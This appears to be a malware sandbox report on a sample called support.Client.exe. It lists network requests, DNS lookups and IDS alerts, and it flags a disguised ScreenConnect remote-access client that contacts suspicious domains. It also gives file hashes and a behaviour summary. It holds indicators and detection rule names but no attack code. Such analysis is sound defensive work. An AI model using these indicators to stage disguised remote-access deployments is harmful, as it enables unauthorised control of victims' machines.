3816	dfsvc.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfIs%2BLjDtGwQ09XEB1Yeq%2BtX%2BBgQQU7NfjgtJxXWRM3y5nP%2Be6mK4cD08CEAitQLJg0pxMn17Nqb2Trtk%3D	unknown	—	—	whitelisted
3816	dfsvc.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSRXerF0eFeSWRripTgTkcJWMm7iQQUaDfg67Y7%2BF8Rhvv%2BYXsIiGX0TkICEAuTYAUbzPZmQpmJmNW6l84%3D	unknown	—	—	whitelisted
5064	SearchApp.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D	unknown	—	—	whitelisted
1176	svchost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
6616	SIHClient.exe	GET	200	88.221.169.152:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted
6616	SIHClient.exe	GET	200	88.221.169.152:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
3672	backgroundTaskHost.exe	GET	200	192.229.221.95:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
5064	SearchApp.exe	104.126.37.136:443	www.bing.com	Akamai International B.V.	DE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
—	—	4.231.128.59:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	184.24.77.37:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
4712	MoUsoCoreWorker.exe	184.24.77.37:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
4712	MoUsoCoreWorker.exe	23.218.209.163:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
—	—	23.218.209.163:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
3816	dfsvc.exe	104.21.13.26:443	molatorila.icu	CLOUDFLARENET	—	unknown
3816	dfsvc.exe	192.229.221.95:80	ocsp.digicert.com	EDGECAST	US	whitelisted
4932	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted

DNS requests

Domain	IP	Reputation
www.bing.com	104.126.37.136 104.126.37.160 104.126.37.137 104.126.37.152 104.126.37.130 104.126.37.128 104.126.37.131 104.126.37.123 104.126.37.155	whitelisted
settings-win.data.microsoft.com	4.231.128.59 51.104.136.2	whitelisted
google.com	142.250.184.206	whitelisted
crl.microsoft.com	184.24.77.37 184.24.77.35	whitelisted
www.microsoft.com	23.218.209.163 88.221.169.152	whitelisted
molatorila.icu	104.21.13.26 172.67.132.119	unknown
ocsp.digicert.com	192.229.221.95	whitelisted
login.live.com	20.190.159.2 20.190.159.71 20.190.159.64 20.190.159.75 20.190.159.0 40.126.31.69 20.190.159.68 40.126.31.67	whitelisted
go.microsoft.com	184.28.89.167	whitelisted
m6back639.win	152.89.61.209	unknown

Threats

PID	Process	Class	Message
2192	svchost.exe	Potentially Bad Traffic	ET INFO DNS Query for Suspicious .icu Domain
3816	dfsvc.exe	Potentially Bad Traffic	ET INFO Suspicious Domain (*.icu) in TLS SNI
6268	ScreenConnect.ClientService.exe	Potential Corporate Privacy Violation	REMOTE [ANY.RUN] ScreenConnect Server Response

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Process	Message
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741772 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\win32\isoreg_direct.cpp, line 1127
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741772 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\win32\isoreg_direct.cpp, line 1127
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230
dfsvc.exe	* Status originated: -1073741811 * Source File: onecore\com\netfx\windowsbuilt\iso_legacy\base\isolation\hier_hierarchy.cpp, line 230

General Info

support.Client.exe

1C9B847B258E5825F5E4FE1420A94C1C

4F1488059470721BCAF9D2EA13D44CF94A9DDD84

E393B4266F91BFD981CA5D702769B87F3F111C1E04E35CF3D096EEB82F5E0720

1536:oWNeDLHPUVkKo2cgigKIhTnH2QjCdqQsWQcdakBbfqXNKrnV:aDLHcVkKo2cZgKIhTH2U+la2bfq2nV

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

SCREENCONNECT has been detected (SURICATA)

SUSPICIOUS

Adds/modifies Windows certificates

Reads security settings of Internet Explorer

Potential Corporate Privacy Violation

Executes as Windows Service

Executable content was dropped or overwritten

Connects to unusual port

INFO

Checks supported languages

Reads the machine GUID from the registry

Reads the computer name

Disables trace logs

Creates files or folders in the user directory

Reads Environment values

The process uses the downloaded file

Checks proxy server information

Reads the software policy settings

Create files in a temporary directory

Sends debugging messages

Malware configuration

Static information

TRiD

EXIF

EXE

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings